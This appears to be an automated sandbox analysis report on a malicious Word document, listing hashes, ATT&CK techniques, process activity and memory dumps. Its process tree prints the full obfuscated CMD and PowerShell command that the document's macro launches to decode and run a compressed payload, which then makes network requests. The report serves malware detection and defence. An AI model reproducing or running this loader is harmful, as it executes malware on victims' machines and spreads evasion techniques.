9c0bf5617ef6a3ee5f9a753fbaa7e270ab1aa6f35fd3f2ba5d6dc8fe9b7fc586

General

Target

ef45263ef69dd1ba6535d2794ca3411c_JaffaCakes118.doc
Size

79KB
MD5

ef45263ef69dd1ba6535d2794ca3411c
SHA1

0f5d17b848a239c75ee84c5fa70a9dff2b0ca7ad
SHA256

9c0bf5617ef6a3ee5f9a753fbaa7e270ab1aa6f35fd3f2ba5d6dc8fe9b7fc586
SHA512

518c0e2d080800cef61e3f3d743bea79adb115bae186198bddd53b6db3f8798811e3337dba3388c1fdd5379699fa23e76c3c2d28f38d835461135295a9594751
SSDEEP

768:Dx0zyA1VucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9MrLUvIbm547GNy:Dx0zyA1ocn1kp59gxBK85fBt+a9M+

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2900	2380	CMD.exe	28

Blocklisted process makes network request 8 IoCs

flow	pid	Process
5	2648	powershell.exe
7	2648	powershell.exe
8	2648	powershell.exe
9	2648	powershell.exe
12	2648	powershell.exe
13	2648	powershell.exe
14	2648	powershell.exe
16	2648	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2648	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2380	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2648	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2380	WINWORD.EXE
2380	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 988	2380	WINWORD.EXE	29
PID 2380 wrote to memory of 988	2380	WINWORD.EXE	29
PID 2380 wrote to memory of 988	2380	WINWORD.EXE	29
PID 2380 wrote to memory of 988	2380	WINWORD.EXE	29
PID 2380 wrote to memory of 2900	2380	WINWORD.EXE	30
PID 2380 wrote to memory of 2900	2380	WINWORD.EXE	30
PID 2380 wrote to memory of 2900	2380	WINWORD.EXE	30
PID 2380 wrote to memory of 2900	2380	WINWORD.EXE	30
PID 2900 wrote to memory of 2648	2900	CMD.exe	33
PID 2900 wrote to memory of 2648	2900	CMD.exe	33
PID 2900 wrote to memory of 2648	2900	CMD.exe	33
PID 2900 wrote to memory of 2648	2900	CMD.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ef45263ef69dd1ba6535d2794ca3411c_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:988
- C:\Windows\SysWOW64\CMD.exe
  CMD C:\wiNDOWS\sYsteM32\cMD /c "sET gYT= ^& ((GV '*Mdr*').NAme[3,11,2]-jOIn'')( ((("{54}{109}{71}{74}{136}{44}{104}{96}{36}{80}{141}{43}{28}{132}{21}{137}{34}{105}{10}{49}{72}{87}{145}{69}{100}{11}{37}{16}{13}{48}{130}{76}{45}{59}{82}{15}{26}{5}{0}{52}{40}{101}{135}{83}{29}{120}{140}{88}{129}{62}{66}{84}{118}{112}{86}{131}{123}{50}{134}{126}{75}{115}{125}{57}{117}{111}{60}{35}{103}{79}{46}{77}{65}{58}{90}{73}{32}{39}{41}{138}{93}{19}{7}{8}{22}{116}{127}{61}{23}{122}{99}{70}{102}{53}{142}{113}{67}{47}{133}{31}{128}{68}{144}{12}{95}{108}{97}{91}{56}{24}{64}{85}{106}{51}{78}{30}{1}{110}{119}{89}{94}{4}{2}{3}{6}{81}{143}{25}{92}{33}{14}{17}{38}{20}{27}{121}{114}{18}{55}{124}{98}{139}{9}{107}{42}{63}" -f 'cSy','s','::dEcOMpReSs )','Fyc%{ ne','rESSIOnMode]','JQdLBlG','w-oB','bu','pnX5VFO2ybVy',' ','ESSioN','m.COn','yU+','F','Er(','EI','t]::',' hR','c','ZjRR','_ ,','JeCT ','P','Kc','PO5qT','S','Rf',' [T','ne','UN6dhBb1OvPtaGbJ','[Io.cOmPrE','2d','uG0dHP9sX3/BwBO4Gylr','d','.com','xZ',']-j','vEr','G','/fqWd0cX','hQSk','R7Lw','E','lGZ) (',').Name[3','trING(lGZ','t9','r','rOMBa','.DeFlatestReAM( [sYsTEM.Io','3Cko','lGZ)','UkrEhU0E','c2Mx','. ((','I','u6AL7','H','Zf1+rA','RZDN','9Z','QBXR0P6','U63AO','aDtoEnD()','CD','h+i','E','R','Jm','sY','gDI4AuVbtJDI','GZ*md','.mE','eCDwKxKwlT','r*lG','v','64s','y',',','5hO','oin','JeC','bsIw','FGjhMT','7k','4bwNvSq8','DkOw','MOrySt','8','oM','Uq+oGCYv','Z','TrEamRea','RFDj','P','s','11,2','y',' ','Jhq7OCQD+g3HXT+','StE','vpz','tE','l',',','Pr','bZxkvJGJk+m5aS4=',').r','NF','gv l','sION','G','lw+','E3','AS','On','TqhfU','+','Mo9o6','.C','g3qNDPghij','ext.enCODIng]::','xD6OC','q','i)','J','pc','4ek0U','n6zNpv8','Q','se','xdCBTA1','w-oB','+','mMRDuP','6WX2F2Iif','Z',' Io','t','}','1IF6zAsS','lGZ','8o','T io.','bU+N','REAm][')) -rEPLaCe([chAR]108+[chAR]71+[chAR]90),[chAR]39-creplACe 'hRG',[chAR]36 -creplACe([chAR]70+[chAR]121+[chAR]99),[chAR]124) ) && PoWersHELL SET-itEM VarIaBlE:tl32V ( [TYPE](\"{1}{2}{0}\"-f 'meNT','EnviRO','N') ); (.( \"{1}{2}{0}\"-f'Tem','Get-cHI','LDI') (\"{0}{2}{1}{4}{3}\" -f'vari','CutIOnConT','aBLE:eXe','xT','e' )).\"val`Ue\".\"invo`KECo`MMAnD\".\"inV`OkEsc`RipT\"( ( (cHILDiTeM VARiABlE:TL32V ).vaLUE::( \"{1}{5}{0}{4}{2}{3}\"-f 'r','gEtEn','NtvAriabL','e','oNMe','Vi' ).Invoke( 'GyT',( \"{1}{2}{0}\"-f 'CEsS','pR','o') ) ) )"
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWersHELL SET-itEM VarIaBlE:tl32V ( [TYPE](\"{1}{2}{0}\"-f 'meNT','EnviRO','N') ); (.( \"{1}{2}{0}\"-f'Tem','Get-cHI','LDI') (\"{0}{2}{1}{4}{3}\" -f'vari','CutIOnConT','aBLE:eXe','xT','e' )).\"val`Ue\".\"invo`KECo`MMAnD\".\"inV`OkEsc`RipT\"( ( (cHILDiTeM VARiABlE:TL32V ).vaLUE::( \"{1}{5}{0}{4}{2}{3}\"-f 'r','gEtEn','NtvAriabL','e','oNMe','Vi' ).Invoke( 'GyT',( \"{1}{2}{0}\"-f 'CEsS','pR','o') ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
ce081821e53912ff31f4a12da3ca883a

SHA1
26025609dc03e2188a609e6e3636814da74acc27

SHA256
dc69f94290524e2601b8c3b85a82d100d42a012c5195320a21a65f4ee37d7d32

SHA512
619fae43e6bdab0662d5552a16a91d7316b3b07854ec75da483b3910070396557c1d7fa201d730af1b1f673b292f08a56b5e7d0066c44bfa8dea336323b46f0c

Download Submit
memory/2380-7-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-6-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-5-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-10-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-11-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-9-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-2-0x000000007187D000-0x0000000071888000-memory.dmp

Filesize
44KB

Download
memory/2380-0-0x000000002F781000-0x000000002F782000-memory.dmp

Filesize
4KB

Download
memory/2380-8-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-4-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-15-0x000000007187D000-0x0000000071888000-memory.dmp

Filesize
44KB

Download
memory/2380-16-0x0000000000350000-0x0000000000450000-memory.dmp

Filesize
1024KB

Download
memory/2380-32-0x000000007187D000-0x0000000071888000-memory.dmp

Filesize
44KB

Download
memory/2380-31-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2380-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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Analysis

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